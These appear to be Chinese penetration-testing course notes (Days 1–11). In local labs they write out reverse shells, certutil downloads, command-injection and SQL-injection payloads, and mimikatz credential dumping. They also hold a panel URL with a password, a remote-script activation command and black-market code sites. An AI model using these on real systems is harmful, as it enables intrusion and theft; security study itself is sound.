Day1:操作系统-名词-文件下载-反弹SHELL-防火墙绕过

前后端,POC/ExP,Payload/shellcode,后门/webshe1l,木马/病毒反弹,回显,跳板(科学上网),黑白盒测试(不知道/知道源代码),暴力解,社会工程学,撞库,ATT&CK]https://attack.mitre.org/等参考:

https://forum.ywhack.com/bountytips.php?download

https://forum.ywhack.com/reverse-shell/

术语解释:https://www.cnblogs.com/sunny11/p/13583083.html

1.渗透测试常用专业术语

1.1. POC、EXP、Payload与Shellcode

POC:全称’ProofofConcept’,中文’概念验证”,常指一段漏洞证明的代码。

EXP:全称’Exploit”,中文‘利用’,指利用系统漏洞进行攻击的动作。

Payload:中文’有效载荷’,指成功exploit之后,真正在目标系统执行的代码或指令

shellcode:简单翻译”shell代码’,是Payioad的一种,由于其建立正向/反向shell而得名

注意:

  1. POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Ep通常是有害的,有了POC,才有EXP。
  2. Payload有很多种,它可以是Shelcde,也可以直接是一段系统命令。同一个Payoad可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP
  3. Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。

#基础案例1:

操作系统-用途&命令&权限&用户&防火墙

  • 1、个人计算机&服务器用机
  • 2、windows&Linux常见命令
  • 3、文件权限&服务权限&用户权限等
  • 4、系统用户&用户组&服务用户等分类
  • 5、自带防火墙出站&入站规则策略协议

#实用案例1:

文件上传下载-解决无图形化&解决数据传输
Linux:wget curl python ruby perl java等

Windows: PowerShell Certutil Bitsadmin msiexec mshta rundl132

在服务器上准备好nc.exe

image-20240318173257483

再通过访问该地址,下载nc到本机

image-20240318173450975

或者用curl命令

curl http:192.168.174.143/nc/nc.exe -o nc2.exe

#实用案例2:

反弹shell命令-解决数据回显&解决数据通讯

useradd 用户名 passwd 用户名

测试linux系统添加用户或修改密码命令交互回显问题

这里我一个用windows10作为本机,centos7作为服务器

windows:192.168.174.143

centos:192.168.174.142

首先在centos设置监听

nc -lvvp 5566

然后在windows10用nc把cmd弹过来

nc -e cmd 192.168.174.142

image-20240318191948435

也能成功就是会乱码

image-20240318192011869

如果是虚拟机就把cmd改为/bin/bash

但这个只是在内网的情况下,如果需要连接外网,我们需要用到路由的端口转,详细见Day2

#结合案例1:

防火墙绕过-正向连接&反向连接&内网服务器

1、内网:
内网 -> 服务器

服务器!->内网

2、防火墙:
服务器<-> aliyun

服务器防火墙-> aliyun

aliyun !-> 服务器防火墙

关键就是防火墙会拒绝外部进来的数据,所以内部就监听不到东西,这时候如果把windows给到服务器,这时候就变成出站了,限制就没那么严格

image-20240318193645056

正向,就是我主动找你,把我的cmd给你

反向,对方来找我,把它的cmd给我

对windows来说是正向,对linux是反向,因为是windows找linux,要看是以谁为参照物

#结合案例2:

#python2一句话服务器
python -m SimpleHTTPServer 8080
#python3
python -m Http.server 8080

学会了有手就行-Fofa拿下同行Pikachu服务器

这个没有自己的服务器,没办法上传,就本地的靶场试试

文件下载&反弹she11:
certutil -urlcache -split -f http://192.168.174.143/nc/nc.exe nc -e cmd 192.168.174.142 5566

image-20240318201521348

127.0.0.1 & certutil -urlcache -split -f http://192.168.174.143/nc/nc.exe
127.0.0.1 & dir
127.0.0.1 & nc -e cmd 192.168.174.142 5566

image-20240318202023597

image-20240318202040571

image-20240318202107378

Day2:Web应用_架构搭建_漏洞_HTTP数据包_代理服务器

#知识点:

  1. 网站搭建前置知识
  2. WEB应用环境架构类
  3. WEB应用安全漏洞分类
  4. WEB请求返回过程数据包

#网站搭建前置知识

域名,子域名,DNS,HTTP/HTTPS,证书等

一、什么是主域名?

主域名由两个或两个以上的字母构成,中间由点号隔开,整个域名通常只有1个点号。 百度的主域名是baidu.com。
二、什么是子域名?

子域名一般会根据站点不同性质在主域名前面加上不同的前缀构成,通常比主域名多一个点或两个点。只要在主域名前面加上前缀的都是该主域名的子域名,子域名又能分为二级子域名、三级子域名、还有多级子域名。 子域名会在主域名前面加上不同的前缀,通常比主域名多一个点或两个点。只要在主域名前面加上前缀的都是该主域名的子域名,子域名又能分为二级子域名、三级子域名、还有多级子域名。

例如:百度的二级域名(子域名)www.baidu.com 如1.www.baidu.com和2.www.baidu.com这样的三级域名也同样可以成为www.baidu.com和baidu.com的子域名。

国内的域名需要备案才能被访问,否则只有非大陆地区才能访问

image-20240319181055521

一键部署Zblog

image-20240319225656061

image-20240319230124584

image-20240319230134261

#WEB应用环境架构类

理解不同WEB应用组成角色功能架构:

开发语言,程序源码,中间件容器,数据库类型,服务器操作系统,第三方软件等

开发语言:asp,php,aspx,jsp,java,python,ruby,go,html,javascript等

程序源码:根据开发语言分类;应用类型分类;开源CMS分类;开发框架分类等

中间件容器:IIS,Apache,Nginx,Tomcat,weblogic,Jboos,glasshfish等

数据库类型:Access,Mysql,Mssql,0racle,db2,Sybase,Redis,MongoDB等

服务器操作系统:windows系列,Linux系列,Mac系列等

第三方软件:phpmyadmin,vs-ftpd,VNC,chibpenssh等

#WEB应用安全漏洞分类

SQL注入,文件安全,RCE执行,Xss跨站,CSRF/SSRF/CRLF,反序列化,逻辑越权,未授权访问,XXE/XML,弱口令安全等

面板地址:http://60.205.125.117:8888/3d189822
用户名:msdiqfwn
密码:c10a904a

#WEB请求返回过程数据包参考

https://www.jianshu.com/p/558455228c43

https://www.cnblogs.com/cherrycui/p/10815465.html

请求数据包,请求方法,请求体,响应包,响应头,状态码,代理服务器等

Request,Response,User-Agent,Cookie,Server,Content-Length等

演示案例:

架构-Web应用搭建-域名源码解析

请求包-新闻回帖点赞-重放数据包

image-20240319205949190

点赞抓包,发送到重放模块

image-20240319210012855

不断发送,使得本来只能点一次的赞,能够点多次

image-20240319210241684

请求包-移动端&PC访问-自定义UA头

这里我们分别用电脑和手机模拟器访问bing搜索

电脑
GET /?mkt=zh-CN&mkt=zh-CN HTTP/1.1
Host: www.bing.com
...
User-Agent: Mozilla/5.0 (**Windows NT 10.0**; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Dest: document
Referer: https://cn.bing.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
手机
Mozilla/5.0 (Linux; **Android** 7.1.2; HD1900) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Mobile Safari/537.36

可以看到他会显示不同的系统,然后可以通过替换这个User-Agent来实现在电脑端访问手机端样式的界面

image-20240319222851169

返回包-网站文件目录扫描-返回状态码

文件夹 403 存在 404 不存在

文件 200 存在 404 不存在

3xx 跳转 处置过程 判断可有可无

5xx 内部错误 服务器问题 判断可有可无

所以可以在bp里,设置如下参数,然后用列表等扫描

image-20240319224355849

然后根据状态码来确定是否存在

image-20240319224536900

也是一种目录扫描的方法

数据包-WAF文件目录扫描-代理服务器

快代理https://www.kuaidaili.com/free/,这样子可以让你的ip位置变得不确定,如果你的ip被拉黑可以通过这个方式来解决

Day3:抓包 封包 协议 APP 小程序 PC应用 WEB应用

#知识点:

  • 抓包技术应用意义
  • 抓包技术应用对象
  • 抓包技术应用协议
  • 抓包技术应用支持
  • 封包技术应用意义
  • 总结点:学会不同对象采用不同抓包封包抓取技术分析

基于网络接口抓包-网络接口

基于程序进程抓包-程序进程

基于数据协议抓包-HTTP/S&TCP&UDP

基于应用对象抓包-APP&小程序&PC UI

基于系统使用抓包-模拟器&WIN&LINUX

win10激活

powershell
irm https://massgrave.dev/get |iex
弹出来的命令窗,选,是
然后出来的窗口,在下面输入:1,回车等待激活

#参考点:

Fiddler:

是一个http协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的http通讯,设置断点,查看所有的“进出”Fiddler的数据(指cookie,html,js,css等文件)。 Fiddler 要比其他的网络调试器要更加简单,因为它不仅仅暴露http通讯还提供了一个用户友好的格式。

charles:

是一个HTTP代理服务器,HTTP监视器,反转代理服务器,当浏览器连接charles的代理司互联网时,Charles可以监控浏览器发送和接收的所有数据。它允许一个开发者查看有连接互联网的HTTP通信,这些包括request,response和HTTPheaders(包含ookies与caching信息)

TCPDump:

是可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信
志。

BurpSuite:

是用于攻击web 应用程序的集成平台,包含了许多工具。Burp suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。

wireshark:

是一个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包资料。wireshark使用winecAP作为接口,直接与网卡进行数据报文交换。

科来网络分析系统:

是一款由科来软件全自主研发,并拥有全部知识产品的网络分析产品。该系统具有行业领先的专家分析技术,通过捕获并分析网络中传输的底层数据包,对网络故障、网络安全以及网络性能进行全面分析,从而快速排查网络中出现或潜在的故障、安全及性能问题。

WPE&封包分析:

是强大的网络封包编辑器,wpe可以截取网络上的信息,修改封包数据是外挂制作的常用工具。一般在安全测试中可用来调试数据通讯地址。

演示案例:

WEB应用站点操作数据抓包-浏览器审查查看元素网络监听

APP&小程序&PC抓包HTTP/S数据-Charles&Fiddler&Burpsuite

程序进程&网络接口&其他协议抓包-WireShark&科来网络分析系统

这两个是可以抓到更多的协议的数据包

通讯类应用封包分析发送接收-WPE四件套封包&科来网络分析系统

环境配置

#环境配置:

1、安卓模拟器安装搭建

逍遥,雷电,夜神等自行百度下载安装

2、工具相关证书安装指南
Charles
http://t.csdnimg.cn/Qpuxc

https://blog.csdn.net/weixin45459427/article/details/108393878

Fidder
https://blog.csdn.net/weixin_45043349/article/details/120088449

BurpSuite
https://blog.csdn.net/qg36658099/article/details/81487491

1、为什么要抓包?-抓包应用的资产信息进行安全测试

2、抓包对象有那些?-小程序,APP,桌面应用等

3、抓包协议区别工具?-有部分应用不走HITP/S,需要用到全局协议抓包

4、封包和抓包不同之处? 零散整体的区别,封包能精确到每个操作的数据包

Day4:30余种加密编码进制_Web_数据库_系统_代码_参数值

#知识点:

1、存储密码加密-web&数据库&系统

2、传输数据编码-各类组合传输参数值

3、代码特性加密-JSPHPNETEJAVA

4、数据显示编码-字符串数据显示编码

#本课意义:

1.了解加密编码进制在安全测试中的存在

2.掌握常见的加密解密编码解码进制互转的操作

3.了解常见的加密解密编码解密进制互转的影够

旨在解决类似疑问,提供思路:

你是否碰到不知道的加密方式?

你是否碰到无法找到的解密平台?

你是否碰到不知道如何解密的字符串?

你是否准备参加CTF比赛补充此类知识点?

#详细点:

密码存储加密

MD5 H1S RMD5值是32位由数字”0-9”和字母”a-f”所组成的字符串

SHA1这种加密的密文特征跟MD5差不多,只不过位数是40

NTLM这种加密是windows的哈希密码,标准通讯安全协议

AES,DES,RC4这些都是非对称性加密算法,引入密钥,密文特征与Base64类似

应用场录:各类应用密文,自定义算法,代码分析,CrE安全比赛等

传输数据编码:

BASE64 URL HEX ASCII

BASE64值是由数字”0-9”和字母”a-f”所组成的字符串,大小写敏感,结尾通常有符号=

URI编码是由数字”0-9”和字母”a-f”所组成的字符串,大小写敏感,通常以&数字字母间隔

HEX编码是计算机中数据的一种表示方法,将数据进行十六进制转换,它由0-9,A-F组成

ASCII编码是将128个字符进行进制数来表示,常见ASCII码表大小规则:09<Az<a

举例:

个人博客-URL解码

国外WEB-BASE64解码

搜狐视频-BASE64解码

应用场景:参数传递(如注入影响),后期WAF绕过干扰写法应用,视频地址还原等

js前端代码加密:

Js颜文字 jother JSFUCK

颜文字特征:一堆颜文字构成的1代码,在12中可直接解密执行

jother特征:只用 ! + ( )[ ]{ }这八个字符就能完成对任意字符串的编码。也可在F12中解密执行

JSFUCK特征:与jother很像,只是少了{ }

后端代码加密:

PHP NET JAVA

PHP:乱码,头部有信息

.NEI:DLL封装代码文件

JAVA:JAVACLASS文件

举例:zend ILSPY IDEA (zend php文件打开是乱码,通过文件头信息判断)

应用场景:版权代码加密,开发特性,CTF比赛等

数据库密文加密:

MYSQL MSSQL等

mysql->user->密码也可以在cmd5解密

数据显示编码:

UTF-8, GBK2312

识别算法编码类型:

1、看位数

2、看密文的特征(数字、字母、大小写、符号等)

3、看当前密文存在的地方(Web、数据库、操作系统等应用)

演示案例:

Web-ZZCMS-密文-MD5

这个网站下载源码直接放到www目录下即可,但后面发现nginx的配置里有个文件带有空格,会报错,重新移出来后才没有,还有一个注意点,这个设置主页是最好选到zzcms文件里,不能只到www,因为安装引导时,目录是根目录下的install而不是zzcms下的install,那样403了好久,一直以为权限问题。。。接下来下一步,下一步就好,信息正常填。

image-20240322152833066

image-20240322152905896

有两个管理员,然后去数据库里看看密码是如何存储的

image-20240322153145609

去cmd5.com验证一下

image-20240322153223102

image-20240322153532437

Web-Discuz-密文-MD5&Salt

安装Discuz时目录要选到uploads下,然后下一步下一步就是了

image-20240322161139610

注册一个用户看看

image-20240322161513691

然后我们去查是查不到的,需要知道他的盐值

echo md5(md('123456'),"d825a3"); --php5.5之前
password_hash() --php5.5之后

但Discuz的加密方式是前一种,去另一个表中查看一下带有盐值的表

select * from pre_ucenter_members;

image-20240322163728021

前面被$包住的就是盐值,但不知道为什么盐值是空的,导出数据库看看。

mysqldump -uroot -proot dbname > dbname.sql

因为我们这个使用password_hash()返回的值

image-20240322165230036

只能这样验证了

练习

信息收集

image-20240322171623378

image-20240322171642952

主要有上面两个界面,前一个页面时没有注入点的,怎么测试都是正常回显,但后面的页面当输入的id=2时,页面会异常回显,说明该页面存在注入点。

判断类型 id=1 and 1=2-1,正常回显说明是数字型,判断列数 order by 4,4列

判断回显位

id=-1 union select 1,2,3,4 #

image-20240322172148784

下面就是正常的三步走

?id=-1 union select 1,database(),3,4 #
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='StormGroup_member'
?id=-1 union select 1,group_concat(name,'~',password),3,4 from StormGroup_member

image-20240322172245928

image-20240322172450975

image-20240322172546176

image-20240322172704509

image-20240322172834903

猜测密码是md5,cmd5测试一下mozhe-841076

系统-Windows-密文-NTLM&HASH

mimikatz要以管理身份打开

privilege::debug
sekurlsa::logonpasswords

image-20240322174208878

同样可以去cmd5验证,但有的也没有

综合-参数-密文传输-AES&BASE64

http://tool.chacuo.net/cryptdes工具网站

练习

image-20240322203510007

注意到参数很长,可能是加密后的参数,信息收集一下

image-20240322203621578

这里是网页源代码,可以下载下来看看

image-20240322203805719

可以看到加密流程,我们搜索一下各个函数的信息

image-20240322203855700

function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');//AES加密,128块,模式CBC
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');//前面是密钥,后面是偏移量
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));//两次base64加密,说明还要解密一次,才能作运算
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-6)!=='_mozhe'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-6);
}
}

先base64解密一次

image-20240322204222067

再去aes解密

image-20240322204315425

代码-解密-解密反编译-Zend&Dll&Jar

CTF赛题-buuoj-single dog-JS颜文字

CTF赛题-xuenixiang-Jsfuck-JSFUCK

#补充点:

1.常见加密编码进制等算法解析

MD5,SHA,ASC,进制,时间戳,URL,BASE64,Unescape,AES,DES等

2.常见加密编码形式算法解析

直接加密,带sa1t,带密码,带偏移,带位数,带模式,带干扰,自定义组合等

3.常见解密解码方式(针对)

枚举,自定义逆向算法,可逆向

4.常见加密解码算法的特性

长度位数,字符规律,代码分析,搜索获取等

#拓展补充参考盗料:

部分资源:
https://www.cmd5.com

http://tmxk.org/jother

http://www.jsfuck.com

http://www.hiencode.com
http://tool.chacuo.net/cryptaes

https://utf-8.jp/public/aanocde.html

Day5:资产架构_端口_应用_CDN_WAF_站库分离_负载ay均衡

#知识点:

1、资产架构-端口&目录&播件接口s多站点&多应用

2、番外安全-域名&服务器本身&服务厂商:管理人员

3、考虑阻碍-站库分离&CDN&WAF&负载均衡&主机防护

#详细点:

1、前置条件-购买使用-云服务器&域名等

2、架构搭建-目录&端口&子域s插件&应用等

3、安全部署-WAF防火墙s主机防护sHIDS等

4、性能优化-负载均衡:CDI加速soss云存储等

演示案例:

资产架构-BT搭建&多站点&多插件&多应用等

在之前的服务器的基础上,搭建一个网站

image-20240323152352818

image-20240323154746404

没有域名就用自己的ip地址,然后选一个非网站根目录的文件,或自己新建一个文件夹

image-20240323154833089

然后一直下一步,把信息填好就ok了,那个初始化可以不用填

image-20240323155029222

也有可能一个网站里有两个程序,任何一个程序出现漏洞,都可能进入安全测试

番外安全-Aliyun&域名解析&云服务器&个人等

考虑阻碍-站库分离&部署防护&负载均衡&CDN等

#资产架构:

WEB单个源码指向安全

WEB多个目录源码安全

WEB多个端口源码安全

服务器架设多个站点安全

架设第三方插件接口安全 phpmyadmin之类的,方便管理人员但也给攻击者提供了机会

服务器架设多个应用安全 ftp之类的

#番外安全:

基于域名解析安全

基于服务器本身安全

基于服务商信息安全

基于管理个人的安全

#考虑阻碍:

阻碍-站库分离 数据库放在别的地方

阻碍-CDN加速服务

CDN英文全称Content Delivery Network,中文翻译即为内容分发网络。它是建立并覆盖在承载网之上,由分布在不同区域的边缘节点服务器群组成的分布式网络。

阻碍-负载均衡服务

就是你最终获取到的是备用服务器信息

阻碍-WAF应用防火墙

阻碍-主机防护防火墙

Day6: 信息打点-Web架构篇_域名_语言_中间件_数据库_系统_源码获取

#知识点:

1、打点-web架构-语言&中间件&数据库&系统等

2、打点-web源码-CMs开源s闭源售卖&自主研发等

3、打点-web源码获取-泄露安全&资源监控&其他等

4、打点-web域名-子域名&相似域名&反查域名&旁注等

#信息点:

基础信息,系统信息,应用信息,防护信息,人员信息,其他信息等

#技术点:

cMs识别,端口扫描,CDN绕过,源码获取,子域名查询,wAE识别,负载均衡识别等

演示案例:

信息打点-个人博客-YOUZIPII-架构&源码

信息打点-某违法APP-面具约会-架构&源码

信息打点-某违法应用-爱心工程-架构&域名

信息打点-某专属SRC-补天平台-架构&域名

image-20240325203443839

根据这个可以查出更多信息,比如中间件推测端口,服务,脚本语言推测常用数据库

关系型和非关系型数据库的区别

mysql 3306

mssql 1443

oracle 1521

redis 6379

DB2 5000

国产DM达梦数据库 5236

MongoDB 27017

判断方式也不一定准确。下面是默认操作系统的TTL:
1、WINDOWS NT/2000 TTL:128
2、WINDOWS 95/98 TTL:32
3、UNIX TTL:255
4、LINUX TTL:64
5、WIN7 TTL:128

image-20240325205214933

源码-直接利用公开的漏洞库尝试安全测试

源码-白盒代码审计 挖漏洞

msql漏洞或弱口令

php常见的漏洞 如log4j

黑源码

https://www.huzhan.com/
https://28xin.com/
https://bbs.bcb5.com/
https://www.shixinwl.com/
https://www.lengcat.com/
https://www.xlymz.com/
https://www.ymadx.com/
……..

更多针对违法应用源码:
可利用fofa和bing、谷歌等搜索关键字获取

www.jmlsd.com

子域名:变动www

变动jmlsd或com为相似域名

jessionid和session

有时候有CDN存在,扫描可能就没那么有用了。

Day7:信息打点-资产泄漏_CMS识别_Git监控_SVN_DS_Store_备份

#知识点:

1、CMS指纹识别源码获取方式

2、习惯&配置&特性等获取方式

3、托管资产平台资源搜索监控

#详细点:

参考:https://www.secpulse.com/archives/124398.html源码泄漏原因:
源码泄漏原因:
1、从源码本身的特性入口2、从管理员不好的习惯入口
3、从管理员不好的配置入口
4、从管理员不好的意识入口
5、从管理员资源信息搜集入口

  • composer.jspn
  • git源码泄露
  • svn源码泄露
  • hg源码泄漏
  • 网站备份压缩文件
  • WEB-INF/web.xml泄露文件泄露DSStore
  • SwP 文件泄露
  • cvs泄露
  • Bzr泄露
  • GitHub源码泄漏

演示案例:

直接获取-CMS识别-云悉指纹识别平台

云悉指纹,然后下载进行白盒审计

习惯不好-备份文件-某黑阔博客源码泄漏

相关利用项目:

CMS只别:https://www.yunsee.cn/

份:敏感目录文件扫描-7kbscan-webPathBrute

CVs:https://github.com/kost/dvcs-ripper

GIT: https://github.com/lijiejie/GitHack

SVN:https://github.com/callmefeifei/SvnHack

Ds_Store: https://github.com/lijiejie/ds_store_exp

配置不当-GIT泄漏-某程序员博客源码泄漏

可以试试访问.git目录,存在的话就可以试试利用

配置不当-SVN泄漏-某国外小伙子源码泄漏

配置不当-DS_Store泄漏-某开发Mac源码泄漏

PHP特性-composer.json泄漏-某直接搭建源码泄漏

下载配合-WEB-INF泄露-RoarCTF-2019-EasyJava

配合文件下载漏洞

资源监控-GITHUB泄漏-语法搜索&关键字搜索&社工

Day8: 信息打点-系统篇_端口扫描_CDN服务_负载均衡_ WAF防火墙

image-20240329193707328

#知识点:

1、获取网络信息-服务厂商&网络架构

2、获取服务信息-应用协议&内网资产

不仅对一个ip扫描,可以获取该网段多个ip信息

然后端口渗透

3、获取阻碍信息-CDN&WAF&负载&防火墙

#详细点:

CDN服务,WAF防火墙,负载均衡,防火墙阻碍?

#相关利用项目:

Masscan: https://github.com/robertdavidgraham/masscan

Wafw00f:https://github.com/EnableSecurity/wafw00f

Kali上自带Nmap,Masscan,1bd等项目,超级ping:ping.chinaz.com

Masscan:端口扫描,应用协议

wafw00f:web应用防护防火墙识别

Nmap:端口扫描,应用协议,防火墙识别

lbd:负载均衡,广域网负载均衡,应用层负载均衡

在我们扫描时,有些服务器是由内网提供服务通过映射到外网来让我们访问,这样是扫不到内网的,只有外网,除非获得它的权限,不然是没办法的。

旁注:同服务器下面的不同WEB应用查询技术

10.1.1.1

www.123.com 目标没什么头绪

www.124.com 那就从别的网站试试

C段:同网段下面的不同服务器IP下的WEB应用查询技术

10.1.1.1

www.123.com只有一个网站,没什么头绪,我们就查10.1.1.0/24所有的网段的服务

还有一种ip反查域名的手段

Day9:信息打点-CDN绕过篇_漏洞回链_接口探针_全网扫描_反向邮件

  • CDN知识-工作原理及阻碍
  • CDN配置-域名&区域&类型
  • CDN绕过-靠谱十余种技战法
  • CDN绑定-HOSTS绑定指向访问

绕过知识点:
https://zhuanlan.zhihu.com/p/33440472
https://www.cnblogs.com/blacksunny/p/5771827.html

超级Ping:https://www.17ce.com/
接口查询:https://get-site-ip.com/
国外请求:https://tools.ipip.net/cdn.php
全网扫描:https://github.com/Tai7sy/fuckcdn

本地绕过复现:
1、备案域名
2、开通CDN
3、配置CDN

#前置知识:

1.传统访问:用户访问域名->解析服务器P->访问目标主机

2.普通CDN:用户访问域名->CDN节点->真实服务器IP->访问目标主机

3.带wAE的CDN:用户访问域名->CDN节点(WAF)->真实服务器IP->访问目标主机

#CDN配置:

配置1:加速域名-需要启用加速的域名

配置2:加速区域-需要启用加速的地区

配置3:加速类型-需要启用加速的资源

#判定标准:

nslookup,各地ping(出现多个IP即启用CDN服务)

绕过

1.只加速一个域名www.xx.com,而test.xx.com没有加速

2.利用网站漏洞

3.历史DNS记录,之前没有CDN的历史记录

4.CDN本身,社工,得到控制面板

5.MS邮件

6.国外请求,加速区域在中国内地的时候,国外ip访问的就是真实id了

7.zmap

8.网络空间引擎搜索

演示:

真实应用-CDN绕过-漏洞&遗留文件

pipinfo.php文件泄露(多个网卡就没什么用了)

SSRF:利用服务端访问相应的服务器,例如访问DNSlog,这个方法比较可靠,前提是要有相应的漏洞,当然不包括SSRF,类似的也行,只要能访问相关服务器的即可

真实应用-CDN绕过-子域名查询操作

用超级ping ping sp910网站,带www时会发现返回不同ip地址,说明用了CDN,而直接ping sp910.com时就会返回一样的ip

真实应用-CDN绕过-接口查询国外访问

一些网站有外国服务器ping对应域名可以得到真实ip,因为有些地方不太可能设置cdn

真实应用-CDN绕过-主动邮件配合备案

就是让对方发送邮件给你,比如网站找回密码时,可以看看对方发送给你邮件的邮件服务器,然后查看邮件原文即可

http://get-site-ip.com/通过接口判断,不一定正确,不推荐

查网站备案可以验证结果

真实应用-CDN绕过-全网扫描FuckCDN

hosts绑定ip

编辑/etc/hosts文件,绑定ip,这样扫描就不会扫到别地方了

Day10:信息打点-APP_小程序篇_抓包封包_XP框架_反编译_资产提取

#知识点:

1、小程序-外在-资产收集

2、APP-外在&内在-资产收集

appinfoscanner:

python app.py -i filpath

APP-外在抓包-Fd&茶杯&Burp

APP-外在封包-封包监听工具

APP-内在提取-ApplnfoScanner

APP-内在搜索-反编译载入IDEA

APP-资源提取-安装包&资源文件

APP-框架使用-Xposed&JustTrustMe

小程序-微信-电脑版登录启动抓包分析

Day11:信息打点-红队工具篇_Fofa_Quake_Kunyu_Suize水泽_Arl灯塔

#知识点:

1、网络空间四大引整-FofasQuakesshodan&zoomeye

2、自动化信息收集项目-ARL灯塔ssuize水泽&Kunyu坤舆

3、单点功能信息收集项目-企查:子域名s指纹识别&社工信息

#黑暗引擎:

https://fofa.info
https://quake.360.cn

https://www.shodan.io
https://www.zoomeye.org

搜索关联资产-特征资产-资产信息

#自动项目:

https://github.com/knownsec/Kunyu

https://github.com/0x727/shuiZe_0x727

https://github.com/TophantTechnology/ARL

#相关资源:
https://forum.ywhack.com/center.php

Finger配置相关信息在个人中心中查找,支FOFA和360QuakeKey,配置好后

  1. Finger追求极简命令参数只有以下几个:
  2. -u 对单个URL进行指纹识别
  3. -f对指定文件中的url进行批量指纹识别。
  4. -i对ip进行fofa数据查询采集其web资产。
  5. -if 对指定文件中的ip批量调用fofa进行数据查询采集其web资产
  6. -fofa 调用fofa api进行资产收集
  7. -quake 调用360 quake进行资产收集
  8. -0指定输出方式默认不选择的话是xsx格式,支持json,xs。

但finger好像用不了了,不懂怎么回事,还是用kunyu试试,安装时记得换源,或者加上

https://blog.csdn.net/AD_CSY/article/details/119887450

https://www.cnblogs.com/chenzhou2020/p/14207951.html

1、临时使用

1 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple some-package
2、永久更改pip源

升级 pip 到最新的版本 (>=10.0.0) 后进行配置:

1 pip install pip -U
2 pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
如果您到 pip 默认源的网络连接较差,临时使用镜像站来升级 pip:

1 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pip -U

报错可以去看看github相关的库,说不定pip下来的库少了几个文件。。。

https://blog.csdn.net/wuqixiufen2/article/details/138408527

还有一种解决方法,创建python虚拟环境,debian下的更新pip好像不用python -m

换到了个windows10虚拟机,然后pip安装,在虚拟机中就顺利许多,python版本一致,但pip版本不一致,所以估计大部分报错都是pip版本问题,和一个ai的库对其它库的要求,所以导致pip install 失败